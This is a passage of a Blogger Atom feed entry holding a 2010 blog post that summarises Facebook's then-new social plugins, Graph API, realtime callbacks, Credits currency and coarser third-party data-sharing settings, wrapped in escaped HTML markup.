id="SPELLING_ERROR_129"&gt;same&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_130"&gt;way&lt;/span&gt; as &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_131"&gt;FB&lt;/span&gt; consumes social &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_132"&gt;content&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_133"&gt;from&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_134"&gt;their&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_135"&gt;strategic&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_136"&gt;partners&lt;/span&gt;, &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_137"&gt;these&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_138"&gt;partners&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_139"&gt;will&lt;/span&gt; be &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_140"&gt;able&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_141"&gt;with&lt;/span&gt; a &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_142"&gt;few&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_143"&gt;little&lt;/span&gt; HTML &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_144"&gt;lines&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_145"&gt;to&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_146"&gt;enable&lt;/span&gt; social &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_147"&gt;life&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_148"&gt;into&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_149"&gt;their&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_150"&gt;classic&lt;/span&gt;, &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_151"&gt;but&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_152"&gt;slightly&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_153"&gt;anti&lt;/span&gt;-social &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_154"&gt;websites&lt;/span&gt;. &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_155"&gt;That&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_156"&gt;is&lt;/span&gt;, &lt;span style="font-weight: bold;"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_157"&gt;now&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_158"&gt;FB&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_159"&gt;will&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_160"&gt;register&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_161"&gt;relations&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_162"&gt;from&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_163"&gt;external&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_164"&gt;sites&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_165"&gt;and&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_166"&gt;this&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_167"&gt;relations&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_168"&gt;will&lt;/span&gt; be &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_169"&gt;shown&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_170"&gt;externally&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_171"&gt;also&lt;/span&gt;&lt;/span&gt;. &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_172"&gt;This&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_173"&gt;is&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_174"&gt;what&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_175"&gt;is&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_176"&gt;called&lt;/span&gt; &lt;a href="http://developers.facebook.com/plugins"&gt;Social &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_177"&gt;Plugins&lt;/span&gt;&lt;/a&gt;.&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_tJD3vUnZtL0/S98XAZMTPVI/AAAAAAAAAPc/KUZrlEYOc2E/s1600/plugin.png"&gt;&lt;blockquote&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 303px; height: 194px;" src="http://2.bp.blogspot.com/_tJD3vUnZtL0/S98XAZMTPVI/AAAAAAAAAPc/KUZrlEYOc2E/s400/plugin.png" alt="" id="BLOGGER_PHOTO_ID_5467113768180989266" border="0" /&gt;&lt;/blockquote&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-style: italic;"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_178"&gt;New&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_179"&gt;API&lt;/span&gt;&lt;/span&gt;: &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_180"&gt;this&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_181"&gt;is&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_182"&gt;the&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_183"&gt;most&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_184"&gt;interesting&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_185"&gt;area&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_186"&gt;for&lt;/span&gt; me as a social &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_187"&gt;network&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_188"&gt;and&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_189"&gt;public&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_190"&gt;information&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_191"&gt;researcher&lt;/span&gt;. &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_192"&gt;The&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_193"&gt;new&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_194"&gt;API&lt;/span&gt;, &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_195"&gt;called&lt;/span&gt; &lt;a href="http://developers.facebook.com/docs/api"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_196"&gt;Graph&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_197"&gt;API&lt;/span&gt;&lt;/a&gt;, &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_198"&gt;is&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_199"&gt;the&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_200"&gt;same&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_201"&gt;but&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_202"&gt;simpler&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_203"&gt;because&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_204"&gt;it&lt;/span&gt; uses &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_205"&gt;standards&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_206"&gt;OAuth&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_207"&gt;and&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_208"&gt;JSON&lt;/span&gt;. &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_209"&gt;Also&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_210"&gt;access&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_211"&gt;to&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_212"&gt;URLs&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_213"&gt;is&lt;/span&gt; more &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_214"&gt;uniformly&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_215"&gt;and&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_216"&gt;clearly&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_217"&gt;available&lt;/span&gt;. &lt;span style="font-weight: bold;"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_218"&gt;Something&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_219"&gt;new&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_220"&gt;in&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_221"&gt;the&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_222"&gt;API&lt;/span&gt;, I &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_223"&gt;think&lt;/span&gt;, are &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_224"&gt;the&lt;/span&gt; &lt;a href="http://developers.facebook.com/docs/api/realtime"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_225"&gt;callbacks&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_226"&gt;for&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_227"&gt;realtime&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_228"&gt;alerts&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;. &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_229"&gt;Also&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_230"&gt;remarkable&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_231"&gt;is&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_232"&gt;the&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_233"&gt;removal&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_234"&gt;of&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_235"&gt;the&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_236"&gt;akward&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_237"&gt;restriction&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_238"&gt;of&lt;/span&gt; a 24 &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_239"&gt;hour&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_240"&gt;limit&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_241"&gt;to&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_242"&gt;the&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_243"&gt;API&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_244"&gt;cookies&lt;/span&gt;&lt;/span&gt;, &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_245"&gt;this&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_246"&gt;was&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_247"&gt;previously&lt;/span&gt; &lt;a href="http://stackoverflow.com/questions/2140142/pyfacebook-infinite-session"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_248"&gt;bypassed&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_249"&gt;for&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_250"&gt;one&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_251"&gt;user&lt;/span&gt;&lt;/a&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_252"&gt;but&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_253"&gt;not&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_254"&gt;for&lt;/span&gt; social &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_255"&gt;apps&lt;/span&gt;.&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_tJD3vUnZtL0/S98XPubBYgI/AAAAAAAAAPk/ItyEo3T2g_w/s1600/graph.png"&gt;&lt;blockquote&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 333px; height: 285px;" src="http://1.bp.blogspot.com/_tJD3vUnZtL0/S98XPubBYgI/AAAAAAAAAPk/ItyEo3T2g_w/s400/graph.png" alt="" id="BLOGGER_PHOTO_ID_5467114031577915906" border="0" /&gt;&lt;/blockquote&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-style: italic;"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_256"&gt;New&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_257"&gt;Currency&lt;/span&gt;&lt;/span&gt;: &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_258"&gt;also&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_259"&gt;they&lt;/span&gt; are &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_260"&gt;trying&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_261"&gt;to&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_262"&gt;unify&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_263"&gt;their&lt;/span&gt; &lt;a href="http://developers.facebook.com/credits"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_264"&gt;FB&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_265"&gt;dollars&lt;/span&gt;&lt;/a&gt;, &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_266"&gt;called&lt;/span&gt; &lt;span style="font-style: italic;"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_267"&gt;credits&lt;/span&gt;&lt;/span&gt;. &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_268"&gt;That&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_269"&gt;is&lt;/span&gt;, &lt;span style="font-weight: bold;"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_270"&gt;there&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_271"&gt;will&lt;/span&gt; be &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_272"&gt;an&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_273"&gt;only&lt;/span&gt; virtual &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_274"&gt;currency&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_275"&gt;in&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_276"&gt;FB&lt;/span&gt;&lt;/span&gt;, &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_277"&gt;in&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_278"&gt;the&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_279"&gt;future&lt;/span&gt;.&lt;blockquote&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://static.ak.fbcdn.net/images/credits/logo_huge.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 180px; height: 179px;" src="http://static.ak.fbcdn.net/images/credits/logo_huge.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;/blockquote&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-style: italic;"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_280"&gt;New&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_281"&gt;policy&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_282"&gt;to&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_283"&gt;share&lt;/span&gt; data &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_284"&gt;with&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_285"&gt;third&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_286"&gt;parties&lt;/span&gt;&lt;/span&gt;: &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_287"&gt;another&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_288"&gt;minor&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_289"&gt;but&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_290"&gt;strategic&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_291"&gt;novelty&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_292"&gt;is&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_293"&gt;the&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_294"&gt;unification&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_295"&gt;of&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_296"&gt;the&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_297"&gt;sharing&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_298"&gt;with&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_299"&gt;third&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_300"&gt;party&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_301"&gt;apps&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_302"&gt;configuration&lt;/span&gt;. &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_303"&gt;That&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_304"&gt;is&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_305"&gt;now&lt;/span&gt; I &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_306"&gt;am&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_307"&gt;only&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_308"&gt;able&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_309"&gt;to&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_310"&gt;share&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_311"&gt;everything&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_312"&gt;or&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_313"&gt;nothing&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_314"&gt;with&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_315"&gt;any&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_316"&gt;external&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_317"&gt;app&lt;/span&gt;, &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_318"&gt;there&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_319"&gt;is&lt;/span&gt; no &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_320"&gt;intermediate&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_321"&gt;point&lt;/span&gt;&lt;/span&gt;. &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_322"&gt;Configuration&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_323"&gt;granularity&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_324"&gt;was&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_325"&gt;lowered&lt;/span&gt;, &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_326"&gt;before&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_327"&gt;an&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_328"&gt;item&lt;/span&gt;-&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_329"&gt;by&lt;/span&gt;-&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_330"&gt;item&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_331"&gt;check&lt;/span&gt;-&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_332"&gt;list&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_333"&gt;was&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_334"&gt;available&lt;/span&gt;.&lt;blockquote&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://sphotos.ak.fbcdn.net/hphotos-ak-snc3/hs518.snc3/27198_395095088552_19292868552_3995134_1102397_n.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 503px; height: 278px;" src="http://sphotos.ak.fbcdn.net/hphotos-ak-snc3/hs518.snc3/27198_395095088552_19292868552_3995134_1102397_n.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;/blockquote&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_335"&gt;Summarizing&lt;/span&gt;, &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_336"&gt;FB&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_337"&gt;wants&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_338"&gt;new&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_339"&gt;structured&lt;/span&gt; data &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_340"&gt;inputs&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_341"&gt;from&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_342"&gt;third&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_343"&gt;parties&lt;/span&gt;, &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_344"&gt;wants&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_345"&gt;to&lt;/span&gt; relate &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_346"&gt;socially&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_347"&gt;this&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_348"&gt;third&lt;/span&gt;-&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_349"&gt;party&lt;/span&gt; data &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_350"&gt;and&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_351"&gt;show&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_352"&gt;the&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_353"&gt;information&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_354"&gt;externally&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_355"&gt;in&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_356"&gt;other&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_357"&gt;domains&lt;/span&gt;, &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_358"&gt;FB&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_359"&gt;keeps&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_360"&gt;the&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_361"&gt;same&lt;/span&gt; general &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_362"&gt;model&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_363"&gt;in&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_364"&gt;the&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_365"&gt;FB&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_366"&gt;platform&lt;/span&gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_367"&gt;API&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_368"&gt;but&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_369"&gt;making&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_370"&gt;it&lt;/span&gt; more fluid &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_371"&gt;and&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_372"&gt;realtime&lt;/span&gt;, &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_373"&gt;also&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_374"&gt;wants&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_375"&gt;to&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_376"&gt;unify&lt;/span&gt; virtual &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_377"&gt;currrency&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_378"&gt;inside&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_379"&gt;their&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_380"&gt;platform&lt;/span&gt;, &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_381"&gt;and&lt;/span&gt; reduces &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_382"&gt;abruptly&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_383"&gt;the&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_384"&gt;granularity&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_385"&gt;of&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_386"&gt;user&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_387"&gt;configuration&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_388"&gt;related&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_389"&gt;to&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_390"&gt;third&lt;/span&gt;-&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_391"&gt;party&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_392"&gt;access&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_393"&gt;to&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_394"&gt;user&lt;/span&gt; data &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_395"&gt;via&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_396"&gt;FB&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_397"&gt;platform&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_398"&gt;apps&lt;/span&gt;.&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8700396122275014565-1098941471257549626?l=blog.mechpoet.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.mechpoet.net/feeds/1098941471257549626/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://blog.mechpoet.net/2010/05/future-of-facebook.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/1098941471257549626'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/1098941471257549626'/><link rel='alternate' type='text/html' 